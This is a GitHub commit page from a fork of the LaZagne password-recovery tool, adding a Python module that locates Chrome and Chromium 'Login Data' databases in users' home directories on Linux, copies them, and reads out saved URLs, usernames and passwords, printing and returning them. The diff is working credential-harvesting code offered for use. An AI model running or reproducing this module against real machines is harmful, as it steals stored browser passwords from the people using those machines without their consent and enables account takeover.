forked from AlessandroZ/LaZagne
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add support for plain-text Chrome passwords on Linux
- Loading branch information
Showing
2 changed files
with
58 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
# For non-keyring storage | ||
|
||
from lazagne.config.constant import * | ||
from lazagne.config.write_output import print_debug | ||
from lazagne.config.moduleInfo import ModuleInfo | ||
from lazagne.config import homes | ||
|
||
import sqlite3 | ||
import tempfile | ||
|
||
class Chrome(ModuleInfo): | ||
def __init__(self): | ||
options = {'command': '-C', 'action': 'store_true', 'dest': 'chrome', 'help': 'chrome'} | ||
ModuleInfo.__init__(self, 'chrome', 'browsers', options) | ||
|
||
def get_paths(self): | ||
return homes.get(file=[ | ||
'.config/google-chrome/Default/Login Data', | ||
'.config/chromium/Default/Login Data' | ||
]) | ||
|
||
def get_logins(self, path): | ||
try: | ||
conn = sqlite3.connect(path) | ||
except: | ||
return | ||
|
||
cursor = conn.cursor() | ||
|
||
try: | ||
cursor.execute('SELECT origin_url,username_value,password_value FROM logins') | ||
for url, user, password in cursor: | ||
print url, user, password | ||
yield { | ||
'URL': url, | ||
'Login': user, | ||
'Password': password | ||
} | ||
except: | ||
pass | ||
|
||
finally: | ||
cursor.close() | ||
conn.close() | ||
|
||
def run(self, software_name = None): | ||
all_passwords = [] | ||
for path in self.get_paths(): | ||
with tempfile.NamedTemporaryFile() as tmp: | ||
with open(path) as infile: | ||
tmp.write(infile.read()) | ||
|
||
for pw in self.get_logins(tmp.name): | ||
all_passwords.append(pw) | ||
|
||
return all_passwords |